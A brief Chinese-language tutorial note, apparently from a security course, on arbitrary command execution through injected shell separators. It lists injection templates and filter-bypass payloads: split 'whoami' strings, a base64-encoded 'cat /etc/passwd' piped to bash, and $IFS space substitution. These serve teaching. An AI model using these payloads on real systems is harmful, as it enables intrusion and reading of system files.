【漏洞】任意命令执行漏洞

前言

任意命令执行(Arbitrary Command Execution)
远程命令执行(Remote Command Execution)

漏洞原理

  • 代码中出现了可以执行Shell命令的代码,且被执行的Shell命令可以通过参数传递

利用前提

  • 可以通过请求参数传递需要执行的代码

常见业务

  • Ping测试

漏洞利用

打断符号,用于末尾拼接自定义命令

;(Linux Shell、Windows PowerShell)、&(Windows CMD):无论前序命令是否执行成功,都会执行后续命令
|:管道符,将前序命令的输出作为后续命令的输入
&&:逻辑与,前序命令执行成功才会继续执行后续命令
||:逻辑或,前序命令执行失败才会继续执行后续命令

1
ping 127.0.0.1 | <shell>
  • Linux Shell 中强制将命令执行,然后作为上一个命令的参数,从报错中获取结果
1
ping `<shell>`

绕过

关键词过滤

改用字符串拼接

  • 通过字符串变量拼接绕过
1
a="whoam"; b="i"; $a$b
  • 通过偶数个引号绕过
1
whoam''i
1
whoam''i
  • 通过插入斜杠绕过
1
whoam\i

改用Base64编码

1
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash

空格过滤

改用内部域分隔符

  • 内部域分隔符(IFS, Internal Field Separator),也就是 Linux Shell 中内置的分隔符变量
  • 改为使用$IFS作为分隔符
1
cat${IFS}/etc/passwd
1
cat$IFS$1/etc/passwd

完成

参考文献

哔哩哔哩——千锋教育网络安全学院